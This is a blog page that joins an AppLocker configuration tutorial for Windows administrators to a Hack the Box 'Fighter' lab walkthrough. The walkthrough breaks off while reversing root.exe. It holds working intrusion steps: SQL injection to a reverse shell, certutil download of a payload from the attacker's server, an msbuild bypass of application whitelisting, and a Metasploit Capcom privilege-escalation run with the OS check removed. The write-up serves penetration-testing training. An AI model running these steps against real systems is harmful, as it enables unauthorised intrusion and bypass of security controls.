Hacking Articles|Raj Chandel's Blog

Hello Friends!! This article is based on “Microsoft Windows - Applocker Policy” and this topic for System Administrator, defines the AppLocker rules for your application control policies and how to work with them.

Table of Content

Introduction to Applocker

§ What is applocker Policy?

§ Who Should Use AppLocker?

§ What can your rules be based upon?

Configure the Applocker to Allow/Deny Execution of an App

§ Configure Enforcement rule

§ Create Default Rules

Modify Executable Default Rules to Allow an App

§ Rule conditions

o Publisher

o Path

o File Hash

Modify Windows Installer Default Rules to Allow an App

Modify Script Default Rules to Allow an App

Creating New Rules to Block an APP

Introduction to Applocker

What is applocker Policy?

Windows applocker is a function that was introduced in home windows 7 and windows server 2008 r2 as a method to restrict the usage of unwanted Programs. Windows AppLocker lets administrators to control which executable files are denied or allowed to be run. With this policy, administrators are able to generate rules based on file names, publishers or file location on unique identities of files and to specify which users or groups can execute those applications.

What can your rules be based upon?

The AppLocker console is ordered into rule collections, those are executable files, scripts, Windows Installer files, packaged apps and packaged app installers, and DLL files. These collections allow you to easily distinguish the rules for different application types. The following table lists the file formats that are included in each rule collection.

Who Should Use AppLocker?

AppLocker is a worthy for organizations which have to accomplish any of the following jobs:

§ Check which applications are allowed to run inside the company.

§ check which users are allowed to run licensed program.

§ offer an audit log of what program customers were running.

§ prevent trendy users from installing software per user.

Configure the Applocker to Allow/Deny Execution of an App

In the Group Policy Object Editor at Computer Configuration > Windows Settings > Security Settings > Application Control Policies > AppLocker, the Windows AppLocker settings exist.

Configure Enforcement Rule

Use the enforcement setting for each collection to configure to Enforce rules, rules are enforced for the rule collection and all events are audited.

1. Select the Configured check box for the rule collection that you are editing, and then verify that Enforce rules is selected.

2. Click OK.

Open Advance tab and enable the DLL rule collection.

Create Default Rules

AppLocker includes default rules for each rule collection. These rules are intended to help ensure that the files that are required for Windows to operate properly are allowed in an AppLocker rule collection.

· Open the AppLocker console.

· Right- click the appropriate rule type for which you want to generate default rules automatically. You can automatically create executable rules, Windows Installer rules, script rules, and packaged application rules.

· Click Create Default Rules.

Executable Default Rule Types Include:

· Allow members of the local Administrators group to run all apps.

· Allow members of the Everyone group to run apps that are located in the Windows folder.

· Allow members of the Everyone group to run apps that are located in the Program Files folder.

Modify Executable Default Rules to Allow an App

A rule can be configured to use allow or deny actions:

· Allow. You can specify which files are allowed to run in your environment, and for which users or groups of users.

· Deny. You can specify which files are not allowed to run in your environment, and for which users or groups of users.

Once you have configured default rules as done above, then you can modify it as per your requirement. For example if you want to modify rule :“Allow members of the Everyone group to run apps that are located in the Program Files folder” for specifc user or group to allow a specifc progam file execution, then go its property by making right click on that rule and follow below steps.

Select the file or folder path that this rule should affect. The asterisk (*) can be used as a wildcard in the rules of the path. For example, %ProgramFiles% \* indicates that all files and subfolders within that path.

Rule conditions

Conditions of rules are criteria for AppLocker to identify the applications to which the rule applies. The three main rules are publisher, path and hash of the file.

Publisher

Identifies a digital signature- based application. The digital signature encloses information about the company (the publisher) who created the application.

Wildcard characters can be used as values in the publisher rule fields according to the following specifications:

Advantage:

Frequent updating is not required.

You can apply different values within a certificate.

You can use a single rule to allow a complete product suite.

Within the publisher rule, you can use the asterisk (*) wildcard character to specify that any value should match.

Disavantage:

While a single rule can be used to allow a complete product suite, all files in the suite must be uniformly signed.

Path

Identify an app in the computer file system or on the network by its location. For well-known paths such as Program Files and Windows, AppLocker uses custom path variables.

Advatanges:

Many folders or a single file can be easily controlled.

The asterisk (*) can be used as a wildcard in the rules of the path. For example, %ProgramFiles%\Microsoft Office\* indicates that all files and subfolders within the Microsoft Office folder will be affected by the rule.

Disadvantage:

It could be at risk if a rule that is organized to use a folder path holds subfolders that are writable by local user.

File Hash

Represents the calculated cryptographic hash system of the identified file. For non-digitally signed files, file hash rules are safer than path rules.

Advatange:

Since each file has a unique hash, a file hash condition only applies to one file.

Disadvantage:

Whenever the file is updated (such as security updates or upgrades), the hash of the file changes. Consequently, you have to manually update the rules for file hash.

Modify Windows Installer Default Rules to Allow an App

Windows Installer Default Rule Types Include:

· Allow members of the local Administrators group to run all Windows Installer files.

· Allow members of the Everyone group to run all digitally signed Windows Installer files.

· Allow members of the Everyone group to run all Windows Installer files that are located in the Windows\Installer folder.

Similarly if you want to modify Windows Install defult rules, then repeat above steps.

Wildcard characters can be used as values in the publisher rule fields according to the following specifications:

Publisher: The asterisk (*) character used by itself represents any publisher.

Product name: The asterisk (*) character used by itself represents any product name.

File name: Either the asterisk (*) or question mark (?) characters used by themselves represent any and all file names.

File version: The asterisk (*) character used by itself represents any file version. If you want to limit the file version to a specific version or as a starting point, you can state the file version and then use the following options to apply limits:

· Exactly. The rule applies only to this version of the app

· And above. The rule applies to this version and all later versions.

· And Below. The rule applies to this version and all earlier versions.

Open Exceptions and then again select Publisher.

Modify Script Default Rules to Allow an App

Script Default Rule Types Include:

· Allow members of the local Administrators group to run all scripts.

· Allow members of the Everyone group to run scripts that are located in the Program Files folder.

· Allow members of the Everyone group to run scripts that are located in the Windows folder.

Similarly if you want to modify Script defult rules, then repeat above steps.

Select the file or folder path that this rule should affect.

Open Exceptions and then again select Publisher.

In this way, you can implemet Default rules and modify them for Executable file, Script rules or Windows Installer files according to your situation.

Creating New Rules to Block an APP

If you want to make your own rule in order to allow or deny action for any application, you can choose the options " Create New Rule" below. Let's say, I want to create a new Executable file rule to restrict command prompt execution for everyone.

Then, you will get a wizrad that helps you to create an Applocker rule, which will turly based on file attribute such as the file path and digital signature.

NOTE: Install the applications you want to create the rules for on this computer.

Now the action to use and the user or group that this rule should aaply to. A deny action prevent affected file from running.

Select the type of primary condition that you would like to create. Here we chose “Publisher” options.

Browse for a signed file to use as a reference for the rule. Here we have browse the cmd.exe and then click on next.

Choose the Publisher as exception and then click Next.

Set Application identity to Automatic mode:

Then navigate to “Application identity Property” through Computer Configuration > Policies > Windows Settings > Security Settings > System Services > Application identity.

Then enable “Automatic” option as the service startup mode.

Now update the Group policy with the help of gpupdate command.

Now when you will try to open command promd “cmd.exe” then you will get serices restiction prompt as shown.

Note: If you are configuring these rule on single machine then it will take some time to impose the rule over machine.

Reference: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/working-with-applocker-rules

Today we are going to solve another CTF challenge “Fighter”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Intermediate

Task: To find user.txt and root.txt file

Note: Since these labs are online available therefore they have a static IP. The IP of Fighter is 10.10.10.72

Penetrating Methodology

· Network scanning (Nmap)

· Browsing IP address through HTTP

· Adding Domain name to /etc/hosts

· Bruteforcing subdomains

· Adding new domain name to /etc/hosts

· RCE using SQL injection

· Upgrading shell to meterpreter session

· Finding vulnerable service

· Editing Exploit to bypass OS check

· Finding root.exe

· Reversing program to find the password

· Creating a C-program to find the password

· Getting root flag

Walkthrough

Let’s start off with our basic nmap command to find out the open ports and services.

nmap -sV -sC -T4 10.10.10.72

The Nmap output shows us that there is only 1 port open: 80(HTTP)

We find that port 80 is running http, so we open the IP in our browser.

In the homepage we find a Domain name “streetfighterclub.htb”. We add the domain to our /etc/hosts file.

We don’t find anything new on the webpage, but further looking into the webpage we find that there might be subdomains available that will give us more clues. We intercept the request and send it to intruder. We select where we want to brute force the request.

We select the wordlist, we use namelist.txt located in /usr/share/dnsrecon/.

After bruteforcing we find a subdomain called “members.streetfighterclub.htb” that gave HTTP code 403.

We add the subdomain in /etc/hosts so that we can access the web site.

We open the webpage and got a 403 Forbidden error.

We now run dirb scan on the members.streetfighter.htb and find a directory called “old”.

dirb http://members.streetfighterclub.htb/

We then find webpages inside that directory. As we know that it is IIS server we find “asp” files on the web server and find a page called “login.asp”.

dirb http://members.streetfighterclub.htb/old -x .asp

We open the web page and find a login page.

We enumerate the webpage and find that the web application is vulnerable to SQL injection. We find username, password and e-mail but were unable to login. So we tried command injection using SQL injection. We referred this link.

We setup our listener and got a reverse shell.

nc -lvp 80

We are not able to find anything on the target machine. So we try to convert our shell into meterpreter but are unable to run any exe file. So there was a firewall that didn’t allow us to run any exe file. We got a reference through this link on how to bypass this. We use the nps payload to create a XML file that will contain our payload (download from here).

We move into “c:\users\sqlserv” as we have a shell as user sqlserv.

We run the command provided by npc payload to start our listener.

msfconsole -r msbuild_nps.rc

We start our python HTTP Server to send our file to the target machine.

python -m SimpleHTTPServer 80

We download the file using certutil.exe on the target machine.

certutil.exe -urlcache -split -f http://10.10.14.3/msbuild_nps.xml msbuild_nps.xml

We then run the XML file we uploaded using msbuild.exe.

c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe msbuild_nps.xml

As soon as we run the file we get a meterpreter session. As we can see by running sysinfo we have 32-bit meterpreter session on a 64-bit machine.

To convert it into 64-bit session, we check the processes and find the 64-bit running process. We then migrate our process to a 64-bit process and get a 64-bit session.

meterpreter > ps

meterpreter > migrate 2320

We still don’t find anything to escalate our privilege. As this machine on street fighter game we try to google street fighter exploit and find that street fighter 5 has privilege escalation vulnerability. We find that street fighter has a service called Capcom, so we check if street fighter 5 is installed on the target machine.

sc query capcom

We find this metasploit exploit here, we try to run it but are unable to get shell as it gave an error stating that the system was not vulnerable. So we make changes to the code and comment out the section where it checks the OS version.

Now we are successfully able to run the exploit.

msf > use exploit/windows/local/capcom_sys_exec

msf exploit(windows/local/capcom_sys_exec) > set payload windows/x64/meterpreter/reverse_tcp

msf exploit(windows/local/capcom_sys_exec) > set lhost tun0

msf exploit(windows/local/capcom_sys_exec) > set lport 80

msf exploit(windows/local/capcom_sys_exec) > set session 2

msf exploit(windows/local/capcom_sys_exec)> run

When we check the uid we find that we are successfully able to get administrative rights.

We enumerate the directories to find the flags and inside “c:\users\decoder\Desktop”, we find a file called “user.txt”. When we take look at the content of the file we find our first flag.

We move into c:\users\Administratror\Desktop and find a file called “root.exe”. We run it and find that it asks for password. There is also a dll file called “checkdll.dll”, as the password might be checked using this dll file.

We download both the files into our system using meterpreter.

download root.exe /root/Desktop

download checkdll.dll /root/Desktop

We reverse engineer them using IDA and find that this program XOR’s 9 with each character of the variable aFmFeholH. Now analysing with IDA tells us that the variable contains “Fm`fEhO1}h”.